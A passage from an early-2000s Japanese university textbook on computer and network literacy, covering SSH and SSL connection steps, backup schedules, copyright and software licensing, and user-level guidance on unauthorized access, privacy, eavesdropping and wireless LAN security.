SSH は（主に） UNIX ワークステーションにログインする場合の通信を暗号化することが目的で開発された. 特に遠隔地からのログインの場合に, パスワードが平文のままネットワークを流れることを防ぐことが目的とされている. この場合, 「ユーザ」に対応するものは, 各ログイン・ユーザとホスト・ワークステーションである. すなわち, 鍵は SSH を利用するクライアント上のホストのユーザごとに生成される鍵とサーバ・ワークステーション自身が持つ鍵を用いて通信が行われる. 現在のSSH は RSA 暗号を用いたものと DH 暗号と呼ばれる離散対数暗号を用いたものが使われている. 実際の SSH での接続の流れは以下のようになる.

(a) 【公開鍵の交換】SSH でログインするために, SSH サーバにアクセスを行う. この時点で, ユーザはサーバの「ホスト公開鍵」を入手できる. また, サーバプログラムは接続してきたユーザの「ユーザ公開鍵」を入手することができる.

(b) 【セッション鍵の交換】ユーザの SSH セッションとサーバの SSH デーモンは, お互いの公開鍵を用いて, セッションの暗号化を行うための「古典暗号系の鍵」を公開鍵暗号通信の元で交換する. 現在の SSH では 3DES, blowfish などの古典暗号系を用いる.

(c) 【ユーザ認証】セッション鍵の交換後, 全てのセッションの通信は古典暗号を用いて行われる.SSH サーバはユーザに対してパスワードまたはパスフレーズの入力を要求し, 正当なユーザかどうかの認証を行う. すなわち, パスワードを入力する時点で, セッションの通信はすでに暗号化されている.

3. ネットワーク・ソケット・レイヤで暗号化通信を行う SSLSecure Socket Layer).

SSH ではログイン・セッションを暗号化するために, アプリケーション・レイヤで暗号化を行うが,SSL ではより低いネットワーク・レイヤであるソケット・レイヤで暗号化を行う. SSL を利用すると, ホスト間のすべての通信を暗号化することも可能である. SSL は RSA 暗号と DH 暗号を用いている. 実際の SSL での接続の流れは以下のようになる.

(a) 【サーバの証明書の作成】SSL を利用したネットワークアプリケーションサーバの構成には,CA 証明書 (Certification Authority) と呼ばれる, サーバの正当性を証明する電子書類を認証局 (CA) と呼ばれる機関から入手し, CA 証明書に対して CA の電子署名をつけてもらう必要がある.

(b) 【クライアントの接続と証明書の提示】クライアントがサーバに対して, SSL を利用したアプリケーション層の通信を要求すると, サーバはクライアントに対して, セッション層でサーバ自身の CA 証明書を提示する. 同時に, サーバの SSL 公開鍵をクライアントに送信する.

(c) 【証明書の検証】CA 証明書を提示されたクライアントは, CA 認証局へ通信を行い, 証明書の正当性を検証する.



(d) 【鍵の交換】CA 証明書の正当性を確認したクライアントは, セッション鍵を生成し, サーバのSSL 公開鍵を用いて, セッション鍵を暗号化してサーバに送信する.

(e) 【暗号化セッションの開始】暗号化されたセッション鍵を受取ったサーバは鍵を復号化して, 以後, セッションの通信をセッション鍵を用いた暗号化通信で行う.

このように, SSL ではサーバの正当性を第３者（この場合には CA 認証局）が保証している. このような第３者認証は, ネットワークの安全性を暗号化通信以上に向上させる可能性があり, 今後広く使われるようになるだろう.

なお, HTTP の通信の暗号化である Secure HTTP (https) も SSL を用いている. 上の SSL の流れでは, サーバ側だけが証明書を提示することになっているが, SSL では, サーバがクライアントに対して特定の証明書の提示を求めることも可能であり, この方法を用いることにより, https の通信でWEB サーバの利用に対してパスワードを用いない認証を行うことも可能である49.

3.4 コンピュータとネットワークのリテラシ

リテラシ (literacy) とは「読み書きの能力」という意味の単語ですが, コンピュータ・リテラシと言ったときには, コンピュータを利用する上での基本的な能力を指します. 世間では「コンピュータ・リテラシ」という言葉が, 著名なアプリケーション・ソフトウェアに関する利用能力のように言われていますが, 本来はコンピュータ全般に関する基礎的な知識, 新しいソフトウェアに対する習得能力, トラブルに対応する能力などの汎用的な能力を指すはずの言葉です.一般的なリテラシに関しては, ここまでに述べてある各種の技術的な内容を理解することが重要ですが,

ここでは, これまでに述べなかった, コンピュータやネットワークにおける技術的および社会的なトラブルを未然に防ぐための注意点を述べておきます.

3.4.1 コンピュータのトラブルを未然に防ぐ

コンピュータを利用していると, 各種のトラブルにみまわれます. これは, ある程度は仕方ないことなのですが, トラブルにぶつかったときに, その被害を最小限で止めることが出来るかどうかが重要になります.

3.4.1.1 バックアップ

ハードディスクなどに記憶されているデータやシステム, アプリケーション・ソフトウェアは, 所詮磁気媒体に記憶されていますから, 何らかのハードウェアのトラブル50により, それらが消失することもあります. また, ユーザのオペレーション・ミスで, 必要なファイルを消去してしまうこともあり得ます.バックアップ (backup) とは, このような事態に備えて, 他の外部記憶メディアにデータのすべてまたは

一部のコピーをとることを指します. 実際には, システムやすべてのデータをバックアップするためには,システムの外部記憶装置と同等以上の容量を持ったものを用意する必要があります. バックアップを実際に行うには, ハードディスクを追加して, 通常利用する外部記憶装置のファイルをすべて追加したディスクにコピーをとる方法もあります. しかし, この方法だと, 非常に大量のディスクが必要になるという欠点を持ちます. また, 大規模なサーバ・ワークステーションなどでは, 大容量のテープドライブを用意して, 深

49近年, WEB サーバの CGI を用いて各種の情報の入出力を行うことが多くなってきた. その際に, 常に「ユーザ名とパスワードの組による認証」を行っているが, CA クライアント証明書を用いることにより, ムダな「ユーザ名とパスワードの組」を減らすことが可能になる.

50例えばハードディスクがクラッシュするなど.

literacy.tex,v 1.13 2001-12-06 14:24:01+09 naito Exp


夜などのユーザの少ない時間帯にすべてのデータをバックアップするということが行われます. いずれにしても, これらの方法は, 追加の外部記憶装置が必要なことと, バックアップに時間が掛ることが欠点となります.通常, 個人ユーザが必要とするバックアップは, ユーザ自身が作成したデータに限られることが多いので,

その程度のデータ量であれば, 現在では MO や CD-R などのメディアを利用してバックアップをとることが出来るので, 可能な限りバックアップをとるという努力が必要です.

3.4.1.1.1 なぜバックアップが必要か実は, ハードディスクのクラッシュは, ある程度は避けがたいことで, ハードディスクにデータを載せている限りは, いつかはディスク・クラッシュに出くわすと思わなければなりません. ディスク・クラッシュにみまわれたときに, データすべてを消失するか, 一部のデータだけを消失するので済むかは運次第です.また, 間違ってファイルを消してしまうことも常にありうることです. 必要なファイルを間違えて消して

しまうことを恐れて, 不必要なファイルをいつまでもため込んでおくことは, ディスク・スペースを無駄に使うことになり, 良いことではありません. このような不幸な事件はコンピュータを使う以上は, ユーザはいつかは経験することで, その経験がないと, 決してオペレーションの上達はあり得ません.しかし, このような事件に出会ったときに, バックアップがあれば, 少々面倒であっても, バックアップか

らデータを取り出すことが可能です. バックアップからの復旧は時間も掛り, 手順も面倒なことがありますが, このような経験をすることが, コンピュータを理解する一つの方法となります.

3.4.1.1.2 インクリメンタル・ダンプ一般に記憶装置のデータを出力することをダンプ (dump) と呼びます. また, データのバックアップを取る場合に, ディスク上にあるすべてのファイルをコピーすることをフル・ダンプ (full dump) と呼びます. バックアップの際に, 対象となるデータをフル・ダンプすると,非常に時間もかかり, バックアップ・メディアも大量に必要となります51.このような欠点を補うために考え出されたのが, インクリメンタル・ダンプ (incremental dump) で

す. これは, 直前のバックアップから変更されたデータのみを追加のバックアップデータとして保存するもので, 例えば, 以下のようなバックアップ・スケジュールに基づいてバックアップを行います.

偶数週奇数週

日曜日ファイル１へのフル・ダンプ日曜日ファイル２へのフル・ダンプ

月曜日前日以後変更されたもののダンプ月曜日前日以後変更されたもののダンプ

火曜日前日以後変更されたもののダンプ火曜日前日以後変更されたもののダンプ

水曜日日曜日以後変更されたもののダンプ水曜日日曜日以後変更されたもののダンプ

木曜日前日以後変更されたもののダンプ木曜日前日以後変更されたもののダンプ

金曜日前日以後変更されたもののダンプ金曜日前日以後変更されたもののダンプ

土曜日前日以後変更されたもののダンプ土曜日前日以後変更されたもののダンプ

このスケジューリングは, UNIX の dump コマンドに推奨されているものの一例です.

3.4.1.2 システムはなぜ不安定になるか

Windows や MacOS などのパーソナル・コンピュータのシステムは, 時間を経ると不安定になっていくことが多いと言われています. ここでは, その理由を探り, 出来る限り安定させる方法を考えてみましょう.

51バックアップは, 通常１セットではダメです. なぜなら, バックアップ中にトラブルがあった場合には, オリジナルもバックアップも両方とも読み出せなくなる可能性があります. そのため, 最低限２セットのバックアップをとることが必要となります. まあ, CD-Rなどの write at once のメディアを利用する場合には, 話は別になります.



3.4.1.2.1 システムが不安定になる理由最近のパーソナル・コンピュータのアプリケーションは,インストール時に各種のドライバや, 動的リンクライブラリを同時にインストールします. ドライバは, カーネルや BIOS などの各種のデータを書き換える機能を持つことが多く, 同一の目的で動作するドライバは, カーネルや BIOS の同じデータの書き換えを行います. Windows や MacOS などの排他制御機能の弱い OS では, 同一の目的で動作するドライバを複数インストールすると, それらが排他制御なしにカーネルや BIOSのデータを書き換えることがあります. その場合, ドライバは他のドライバがデータを書き換えたことを知らずに, データの再書き換え等を行うことがあり, これがシステムを不安定にする大きな要因となります.さらに, BIOS に各種の不要なデータがたまることにより, システムが不安定になることもあり得ます.

3.4.1.2.2 システムを出来る限り安定させるシステムを可能な限り安定させるためには, インストールするドライバは必要最小限の物に限ると言うのが, 最も重要なことです. また, 不必要になったドライバは削除することも必要です.

MacOS では「機能拡張マネージャ」により, ドライバや動的リンクライブラリの追加・削除が容易に行えますが, Windows では一旦インストールしたドライバや動的リンクライブラリを完全に削除するのは困難な場合があります. そのような場合には, さっさと OS の再インストールを実行することが重要だと考えられてます.一方, UNIX では排他制御機能が非常に高いため, このようなトラブルは比較的少なくなりますが, 決し

てあり得ないことではないので, ドライバの追加・削除には, やはり注意が必要となります.

3.4.1.2.3 システムが不安定になった場合の対処法 Windows の場合は, あきらめて OSを再インストールします. 一番正しい選択は, Windows の利用をやめ, もっとマトモな OS を使うことだと考えます.

MacOS の場合には, 「機能拡張マネージャ」でドライバや動的リンクライブラリを整理しますが, それでもダメな場合には, BIOS (MacOS の場合は PRAM/NVRAM と言います) をクリアして再起動することが必要となります.

3.4.2 ネットワークの利用に関して

コンピュータネットワークの発展に伴って, 多くの人々がネットワークを利用してコミュニケーションをとることが可能になり, 非常に便利なことも多くなってきましたが, 一方では, ネットワーク上でのトラブル・犯罪なども急増しています. ここでは, それらに対する基本的な注意点を述べておきます. ただし, コンピュータに関連する犯罪などに関しては, その技術的な部分は後の章にまとめておきます.お互いに顔を見てコミュニケーションをとる社会, 電話や手紙など, お互いの声や文字を見てコミュニ

ケーションをとる社会から, ネットワークを利用して, 見ず知らずの世界中の人たちとコミュニケーションをとることが可能な社会に発展してきました. このような時代には, コンピュータ・ネットワークは, 仮想的な世界ではなく, 現実的な社会の一つのコミュニケーションの方法を与える手段であるという認識が必要だと考えられます. すなわち, ネットワークの向うには世界中の多くの人たちがいて, ネットワークを利用したコミュニケーションとは, 単に仮想的な情報のやり取りではなく, 現実の人間とのやり取りであるという認識を持ってください.コンピュータネットワークに関連する社会的な問題と考えられるのは,

• 著作権法など, 基本的な法律に関する問題.

• 不正アクセスなど, ネットワークの技術的な部分に起因する社会的・法的問題.

• 電子メールなどを利用したコミュニケーションに関する, 個人的な発言に端を発する問題.



などに分類されます52.

3.4.2.1 ネットワーク・コミュニケーションの問題

電子メール, ネットワークニュース, ウェブページなどを利用して, 多くのユーザとコミュニケーションをとることができるようになり, 不特定多数との情報の交換が容易になっていますが, 一方では, それに端を発する社会的な問題も増加しています.

• 電子メールなどの文書では, 文書内容が過激になることがあり, お互いに顔を見て話したり, 電話で話したりしているときには問題にならない言葉が, 文書として書くことにより, 受信者の感情を逆撫ですることもあります.

• また, 電子メールは同時に多数の受信者に向けて発信することが出来るので, 必要のない相手にまでメールを送ることも出来ます. しかし, 不要なメールを受け取ることは迷惑と考えられることもあるので, 不必要な相手にはメールを送ってはいけません.

• 電子メールは受信したメールの内容を簡単に引用して他人に送ることも可能です. しかし, メールの内容には個人情報や, 第３者には知られたくない内容が含まれていることもありますので, 受信したメールを不用意に第３者に転送したり, 一部分を引用して送付したりしてはいけません.

• 電子メールアドレスそのものも個人情報に含まれます. 他人のメールアドレスを第３者に教えたり,公開したりすることは, 本人が望まないことである可能性もあるので, 勝手に他人のメールアドレスを公開したり, 第３者に教えてはいけません.

• 公開の掲示板, 電子メールなど, ネットワークコミュニケーションの場で, 他人を中傷・誹謗する内容を書くことは社会的なルールに違反します. 特に, コンピュータ・ネットワークでは, 発信者個人の名前等が秘匿されることが多いのですが, いかなる場合にも, 個人の名前, 所属等を明らかにした上で発言できる内容しか書いてはなりません.

• 電子メールアドレスが社会的に認知された組織のものである限り, 各種の発言は, その組織の人間の発言ととられることがあります.

3.4.2.2 著作権法

コンピュータ・ネットワークを利用する上で注意しなければならないことに, 「著作権」 (copy right

law) や「知的所有権」の侵害を行わないということがあります. 「著作権」,「知的所有権」とは, 各種の人工的創造物に対して, 創造者の権利を保護する一連の概念であり, ネットワーク上では, ソフトウェアの著作権, 画像や音楽情報などの著作権など, 関連するものは多岐に及びます.２０００年はじめ頃から, 「ナップスター」と呼ばれる, MP3 フォーマットの音楽データを世界規模で

交換するというシステムが発生し, ２００１年２月には, 著作権侵害により, サーバの運用を停止するという事件がありました. 音楽データはその作者・演奏者をはじめとする多くの人が著作権, 公開権, 配布権等をもち, データを入手したユーザが勝手にデータを不特定多数に公開することは出来ません. 「ナップスター」では, サーバ運用者に対して, 著作権侵害の訴訟が起こりましたが, 本来は,「ナップスター」を利用してデータを公開したすべてのユーザに対して, 著作権侵害の訴訟が起こされても仕方ないと考えられています. このように, ネットワーク上では, 決して悪意がなくても著作権などの侵害を行ってしまう可能性もあるので, 各種のデータの取り扱いには細心の注意が必要となります.

52この他にも各種の問題はありうると思います.



なお, 著作権法は国ごとにその規定内容がかなり異なり, ネットワークを利用した利用では, そのソフトウェアが従う著作権法が, 必ずしも日本国内のものとは限らないので, いかなる法律を適用されても問題がない利用形態をとる必要があります.

3.4.2.2.1 ライセンスまた, 各種のソフトウェアにも著作権があり, ソフトウェアの添付文書として著作権に関する条項が記載されています. 一般に有償で販売されているソフトウェアは, ライセンス (license)と呼ばれる概念で利用権が規定され, １本のソフトウェアをどのような条件で利用して良いかが記載されています. 具体的には, 次の２つの場合が多数を占めていますが, 各ソフトウェアがどのようなライセンスに従うかは, 個別のソフトウェアのライセンス情報を見て判断しなければなりません.

• 購入したソフトウェアは, ただ１台のコンピュータにしかインストールできない.

• 購入したソフトウェアは, 複数のコンピュータにインストールできるが, 同時使用は１つに限る.

3.4.2.2.2 フリー・ソフトウェア近年,ネットワーク上でフリーウェア (freeware),シェアウェア (share-ware) と呼ばれるライセンス条項に従うソフトウェアが増えています. フリーウェアとは, ある一定の条件の元に自由に配布・利用が可能なもの, シェアウェアとは, 極めて安価な金額を支払うことにより, 自由に配布・利用が可能なものを指します. フリーウェアやシェアウェアであっても, それぞれの定めるライセンス情報は微妙に異なり, 例えば, ライセンス文書を一体にして配布することが許されているものや, 個人使用, 非営利的使用であればフリー（無償）で利用して良いものなどがあります. これらのソフトウェアを利用するときには, 必ずライセンス文書を読んで, 利用条件を確認した上でソフトウェアを利用することが必要です.

3.4.2.2.3 オープン・ソースフリーウェアと良く似た概念にオープン・ソース (open source) と呼ばれるものがあります. これは, フリーウェアやシェアウェアなどをプログラム・コードごと公開して, 不特定多数に開発の協力を求めたり, 開発に関するアドバイスを求めたりする概念で, 元々は, GNU プロジェ

クトと呼ばれる, UNIX 上のソフトウェア開発プロジェクトが先駆けになっています. 近年話題の Linux もオープン・ソースにより, 多くのユーザの意見やユーザ自身による開発が行われ, よりよいソフトウェアに進化して今日の姿になっています.オープン・ソースの中でも, GPL (GNU GENERAL PUBLIC LICENSE) と呼ばれるライセンス

形態が有名で, 多くのフリーウェア開発者が GPL に従ったライセンス条項の元に, ソースコードを公開しています53. GPL は, 基本的には

• GPL に従うフリーソフトウェアの配布や改変の自由.

• GPL に従うフリーソフトウェアの再利用.

• GPL に従うフリーソフトウェアを財産権を伴うソフトウェアへの組み込みの禁止.

を定めています.

3.4.2.3 不正アクセス

不正アクセス (unauthorized access) とは, 狭い意味では, パスワードなどの利用者制限が加えられたシステムに対して, アクセス権を持たないユーザがアクセスを試みることを指します. ここで, アクセス権

53GPL に関しては, ここに全文書を載せると長くなり, 一部を載せることは GPL に反しますので, ネットワーク上を検索してください.



を持たないユーザとは, そのシステムのパスワードを持たないことを指します. しかし, 今日では, 明示的な利用者制限が無い場合や, 明示的なシステムが無い場合, 不特定多数にアクセスが許されているシステムに対する攻撃的なアクセス等も, 広い意味での不正アクセスと考えられます.２０００年秋には, 日本国内でも「不正アクセス禁止法」が定められ, 主要国では同様な法律があり, 今

日では不正アクセスは法に触れる内容となっていますが, 仮にこのような法律がなくても, 不正アクセスはネットワーク上の重大な犯罪的行為とみなされてきました. また, ユーザ自身が意図しなくても, 他のホストからの不正アクセスを中継することも不正アクセスの一部と見なされる可能性がありますので, すべてのユーザは各自の利用するホストを不正アクセスの中継点にしないという努力が必要となります.

3.4.3 ネットワークをめぐる技術上の諸問題

最近, 家庭までの光ファイバーを敷設し, VOD (Video On Demand) などのサービスを実施するという構想が広く宣伝されている. しかしながら, 回線の敷設に関しては, 基幹回線から家庭までの “Last OneMile” （日本では, “Fiber To The Home” (FTTH) と呼ぶ）の敷設には, 日本だけでなく各国でその整備がなかなか進まない. 現在世間では, 光ファイバーさえ引けば「夢のようなネットワーク社会が到来する」などと広く言われているが, 現実はどうだろうか？大学などの LAN 環境では, 光ファイバーを利用し, 100Mbps から 10Gbps という超高速ネットワーク

が実現しているが, 「ナップスター」で有名アーチストの新曲が公開されると, そのデータがおかれている近辺のネットワークはほとんど破綻し, 通常の電子メールの通信も出来なくなるというトラブルが, ２０００年はじめ頃にはアメリカでは頻繁に起きていた54.近い将来「ナップスター」のビデオ版のようなサービス55や VOD を実現するためには, バックボーン

の処理容量として 10Pbps 程度は必要と考えられている56. 確かに, 光ファイバーを利用して 1Gbps から10Gbps の通信帯域を確保すれば, １軒の家庭では VOD でも何でも利用できると考えられるが, 基幹ネットワーク, バックボーンの通信帯域を確保しない限り, このような構想は単なる希望にすぎないことを理解する必要がある57.また,現在の電話回線や ISDNによるアクセスは,各家庭から各自が選んだ ISP (Internet Service Provider)

を選択し, その ISP から「インターネット」に接続する形態をとっている. 少なくとも日本国内では ISPの技術レベルに極めて大きな差があり, 各ユーザがコストとパフォーマンスを比べて適切な ISP を選択出来るという利点があるが, 光ファイバーネットワークなどでは, ISP に相当する上位ネットワークを自由に選択できるかどうかの指針が存在しない. 本来, ケーブルを引くだけでは何もできず, そのケーブルをどのように利用するか, すなわち, 何を流すかと言うよりも, どのようにネットワークへ接続していくかという視点が重要であるにも関わらず, そのような視点が欠けた構想が非常に多い58.

54通常 LAN では CSMA/CD 方式のネットワークを使っているため, 帯域幅を 10% も使ってしまうと, 事実上通信不可能な状態になる.

55「ナップスター」自身は著作権問題にぶつかっているが, 将来, 著作権問題をクリアし, 同様なサービスが復活する可能性は高い.56現在のバックボーンに流れる通信量は, およそ 1Tbps と言われている.57現在の DVD-ROM に記録された NTSC の動画情報は, 平均的に 5Mbps 程度情報を記録している. したがって, ネットワーク機器の交換速度 (switching rate) を無視しても, 現在の DVD 程度の画質の情報を流すためには, 100Mbps 程度のネットワークが必要となる.また, ネットワーク機器の交換速度はそれほど高速ではないし, ブロードキャストやマルチキャストパケットが増加すると, 交換速

度は極めて低下する. 最悪の場合には, ネットワーク機器でパケット落ちが発生し, ネットワークが正常に利用できなくなる. 事実,１９９７年頃名古屋大学のネットワークでは, Windows が利用する NetBIOS over IP (138/tcp) のブロードキャストが, ブリッジの処理能力を越えて大量に発生し, ネットワークが正常に動作しない時期があった.

58NTT が計画している FTTH は 10Mbps 程度の帯域を, NTT の持つ「地域ＩＰ網」に接続し, そこから ISP へ接続するという計画である. この場合, 「地域ＩＰ網」の信頼性が十分であるか, 「地域ＩＰ網」の交換速度が十分であるかが問題となる. なお,NTT は ADSL を利用して, 現在のメタリック・ケーブルのまま「地域ＩＰ網」に接続するというサービスもはじめている. NTTの ADSL では, 上り 512Kbps, 下り 1.5Mbps 程度である.一般に, ADSL/CATV などの常時接続では, サービス提供業者の技術レベルや, 接続者の技術レベルに大きな差があり, ネット

ワークのセキュリティに問題があったり, ネットワーク上に「プライベート・アドレス」を持つパケットが流れていたり等という, 重

security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp


3.5 コンピュータとネットワークのセキュリティ

コンピュータやネットワークの用語では, セキュリティ(security) とは, 外部からの不正な侵入や妨害を防ぐ手段・技術をさす. セキュリティの対象となるのは, コンピュータ・ウイルスや不正アクセスなどが主であるが, 今日, これらの対象の技術的な問題は多岐に渡り, 特にネットワーク・セキュリティを実施する際には, 多くの知識と経験が必要となる. また, ネットワークのセキュリティを高めようとすると, 必然的にネットワーク・サービスの便利さ等が犠牲にならざるをえない.今日ではセキュリティはネットワークを利用するすべてのユーザに必須の知識であり, 多くの知識が必要

だとはいえ, それらの知識なしでは安全にネットワークを利用することは出来ず, 各種の表面的な記事や風聞にだまされることとなる.

3.5.1 コンピュータセキュリティとは

コンピュータセキュリティと一言で言っても, そこには以下のように数多くの内容が含まれています.

• 外部からの不正なアクセスに対して, データを保護したり, コンピュータの機能を維持すること.

• ワークステーションのユーザ間のプライバシを保護すること.

• コンピュータネットワークの不正な利用を防ぐこと.

• コンピュータウイルスに対する対策を講じること.

• 悪意のあるデータへのアクセスを避けること.

これらの内容は, コンピュータに関わるセキュリティを大まかに分類して, 標語的に述べたに過ぎません.それぞれの中には, ネットワークやシステムの管理者が対処する問題も多く含まれますが, 一方では, それぞれの中にユーザ個人が対処しなければならない問題も多く含まれています. ここでは, ユーザ個人の立場で注意（対処）しなければならないことを述べていきましょう.

3.5.2 不正アクセス

ネットワークに接続されたネットワーク機器（コンピュータだけではなく, プリンタやルータ, スイッチなどの機器も含まれます）に対しては,「アクセスの許されたユーザ」という概念があります. 仮に, MicrosoftWindows の動作しているＰＣのような, ユーザ認証59が存在しないオペレーティングシステムが動作して

いるコンピュータや, ネットワークに接続されたプリンタのように, 明示的なユーザ認証が存在し得ないものであっても, その管理上の形態から, これらの機器には, 暗黙のうちにある一部の人しかアクセスすることしか許されていません. また, ルータやスイッチのようなネットワーク機器には, その設定を変更する権限をもって機器にアクセスすることは, その機器管理者しか許されていません.このように, ネットワークに接続された機器には, 明示的か暗黙的かに関わらず, 「アクセスの許された

ユーザ」という概念が存在し, 一般に, 不正アクセス (unauthorized access) とは, アクセスの許されたユーザ以外が悪意を持って機器にアクセスすることを指します.

大な欠陥を持つ接続業者もある.59機器を利用するために, ユーザＩＤやパスワードなどを用いて, ユーザを識別する機構.



日本国内では, ２０００年秋に, 「不正アクセス防止法」という法律が施行され, いかなるネットワーク機器に対しても, 不正アクセスを行うことが禁止されています60. したがって, コンピュータネットワークを利用するすべてのユーザは, 自らが不正アクセスを行うことを慎まなくてはなりません.不正アクセスを考えるときには, 「どのような行為が悪意を持ったアクセス」となるかが問題となりま

す. これはネットワーク機器の管理者の立場に立って考えてみれば, 問題はクリアになります. すなわち,機器管理者にとっては, 以下のようなものが不正アクセスとみなすアクセスに該当します.

1. ユーザに対して利用の許可を行っていないサービスへのアクセス.

2. アクセスを許可しているネットワークの外部のネットワークからのアクセス.

3. 短時間に大量のサービスリクエストを行うアクセス.

4. その他, システムの正常な稼働に障害を与えると考えられるアクセス.

これらのアクセスの中に, 「悪意を持った」という言葉が出てこないことに注意してください. すなわち,機器管理者の立場では, いかなるアクセスも「悪意を持っているかどうかを判断することが出来ない」のです. このような状況の中で「悪意を持つ可能性のあるアクセス」かどうかを判断する基準として, 通常は上のような基準を考えるます61. これをユーザの立場から考えてみると,

1. 通常に利用している機器以外にアクセスを行うことは, 不正アクセスと見なされる可能性がある.

2. WWW のような一般に公開されていると考えられるサービスであっても, そのサービスを行っていない機器に対してサービスリクエストを行うことは, 不正アクセスと見なされる可能性がある.

ということです.具体例を見てみましょう. 以下のような例は全て不正アクセスと見なされます.

1. 友人のアカウントのパスワードを入手したので, 友人になりすましてコンピュータを利用した.

パスワードの入手方法のいかんに関わらず, 不正アクセスと見なされる可能性があります. また, パスワードを不正な方法で入手した場合には, 明らかな不正アクセスです.

2. 通常利用しているワークステーション, または, その他のワークステーションがどのようなネットワークサービスを行っているかを調べるため, 手当たり次第にアクセスを行った.

通常は, 各ワークステーションがどのようなサービスを提供しているかは, サービスを受けるユーザに通知されています. それ以外のサービスを探す行為は不正アクセスに該当する可能性があります.

また, 手当たり次第にネットワークサービスを探す行為は, ポートスキャンと呼ばれ, 明らかな不正アクセスです.

3. 他機関のコンピュータに対して, 公開されていないネットワークサービスにアクセスしようとすること.

一般に, 機関外のユーザに対するネットワークサービスは極めて限定されています. 意図するかしないかに関わらず, 不正アクセスと見なされる可能性があります.

60仮に, このような法律が存在しなくても, 古くから, 不正アクセスはネットワークユーザのモラルに反すると考えられ, 決して行ってはいけないとされてきました.また, 「不正アクセス防止法」では, その対象となる機器は, 「ユーザ認証が行われている機器」と定められていますが, 一般的な

認識では, 上記のように, 明示的なユーザ認証が行われていなくても, 不正アクセスに該当する可能性があります.61もちろん, 単なる１回だけのアクセス試行であれば, 操作ミスかもしれないと思いますが, 複数回アクセス試行が行われれば, 悪意を持っていると考えることが可能です.



4. システムの正常な稼働を妨害するような大量のデータを送りつける.

これは, DoS (Denial of Service) アタックと呼ばれる, 明らかな不正アクセスです.

これら以外にも, 不正アクセスに該当する行為は数多く考えられます. また, 意図しなくても, 不正なソフトウェアを利用することにより, 不正アクセス行為を発生させることがありますので, 内容が不明なソフトウェアの利用は避けることが賢明です.

3.5.3 ユーザ間のプライバシ

ワークステーションは数多くのユーザが同時に利用している機器です. したがって, ワークステーション上には他のユーザの個人的なデータが数多く保存されています. ワークステーションのユーザは, 他のユーザのデータを本人の許可なしに参照する（見る）ことはできません.

UNIX ワークステーションでは, 各ユーザのデータには保護モード（ファイルやディレクトリのパーミッション62）が設定され, 最も高い保護モードでは, 他人がそのファイルを見たり, ディレクトリに入ったりすることはできません. 一方, 保護モードが低く設定されている場合には, 他人がファイルを見ることも可能です. 仮に低い保護モードが設定されている場合であっても, 他のユーザがそのファイルを参照することは, ワークステーション利用のモラルに反することとなります.

3.5.4 ネットワークの不正利用

ネットワークを不正利用するとは, 以下のような行為を指します.

1. システム管理の目的以外で, ネットワーク上に流れるデータを調べること.

2. 利用が許可されていない情報コンセントやネットワークケーブルを利用すること.

3. 利用が許可されていないＩＰアドレスを利用すること.

ここでは, それぞれについて, それがなぜいけないかと, 不用意にそのような行為を行わないための方法, そのような行為から自らのリソースを守るための方法などを解説します.

3.5.4.1 データモニタリング

第一の行為は「データモニタリング」と呼ばれます. コンピュータネットワークは, その設計上の理由から, ネットワークに流れるデータがある一定範囲の全てのネットワーク機器に到達するという性質を持っています63. したがって, ネットワークに接続した機器上で, その機器に到達したデータを全て監視することは, 第３者の通信内容を盗聴する行為に該当します. また, 現在用いられているネットワークサービスのうちの多くは, 入力データがそのままの（平文の）形式で通信されているため, データの盗聴を行うことは,第３者の通信の内容64を見ることとなります. これをユーザの立場から考えれば, ユーザ認証を行うためにパスワードを入力することは, ネットワーク上にパスワードがそのまま流れることを意味します. したがって, 悪意ある盗聴を防ぐためには, ネットワーク通信を暗号化する必要があります. 通常, 機関内のネットワーク（Local Area Network (LAN)）でスイッチング機構を用いている場合には, 通信の暗号化までを考

62ファイルアクセスに関するパーミッションの詳細については, UNIX の設定の章を見てください.63近年のコンピュータネットワーク（名古屋大学のネットワークなど）では, スイッチングという機構を用いて, 宛先以外の機器にはデータが流れない仕組みが用いられていますが, 一般的には, コンピュータネットワークはこのような性質を持っていると考えてかまいません.

64通信内容そのものだけでなく, パスワードも含まれる.



慮する必要は少ないと考えられていますが, 広域ネットワーク65にパスワードやクレジットカード番号など

の重要なデータを流す際には, 必ず通信を暗号化しなければなりません66.近年では, IEEE 802.11b などの無線ＬＡＮのセキュリティが問題となっている. 無線ＬＡＮを利用する

際には, 通常は以下のようなセキュリティ対策を行う.

• 無線ＬＡＮ基地局へのアクセスを, ハードウェアアドレス（MAC アドレス）を用いて制限する.

• 無線ＬＡＮネットワークの SSID （ネットワーク名称）を非公開にして, 容易には推測されない名称にする.

• 無線ＬＡＮの通信をWEP による暗号化通信にする.

これらの配慮を行わない無線ＬＡＮネットワークは, 不特定多数が無線ＬＡＮネットワークにアクセスすることが可能になる. そればかりか, 無線ＬＡＮ上を流れるデータの盗聴を容易に行うことが可能になる.また, 無線ＬＡＮの暗号化通信規格 (WEP) は４０ビット暗号化鍵を用いたものが普及しているが, ４０

ビット暗号化鍵による WEP には, 多数の通信データから鍵の推測が容易であるという欠陥があるため, 近年は１０６ビット暗号化鍵による WEP や, セッション鍵を用いた暗号化通信 (IEEE 802.11x)の利用が推奨されている.

3.5.4.2 ネットワークハードウェアの不正利用

一方, 多くの機関では, ユーザに対する利便性を考慮するため, 建物内部の多くの場所に「情報コンセント」と呼ばれる, ネットワークケーブルの差し込み口が用意されていたり, 計算機室などの場所には, 機器に接続されていないネットワークケーブルがあったりします. これらのものは, 一見は勝手に利用して良いように思ってしまうのですが, 管理者の許可なしにこれらのハードウェアの利用は禁止されていると考えてください67.一般に, 機関内のネットワークを利用することが出来るネットワーク機器は, ネットワーク管理者の許可

があるものだけに限られています. ネットワーク管理者は, ネットワーク利用のためのハードウェア（情報コンセントや空きケーブルなど）に悪意を持ったユーザがアクセスし, そこから機関内外に不正アクセスなどを行うことを怖れています. 逆に, 勝手にこれらのハードウェアを利用する行為は, 悪意を持ったユーザが不正アクセスを行うために機器を接続したと理解される場合がありますので, このような行為は絶対に行わないでください.しかしながら, 次のような例を考えてみましょう.

• 大学で, 不特定多数の学生68へのサービスのために, 各自のコンピュータを自由にネットワークへ接続することが出来る.

このような状況は, 現在いくつかの大学で行われています69. このことと, 上記のこととは矛盾はしないのでしょうか？

みなさんも良く知っている通り, コンピュータをネットワークに接続することは, 単に, 機関内のサーバ（ワークステーション）にアクセスすることだけでなく, 全世界に広がるインターネットを利用することで

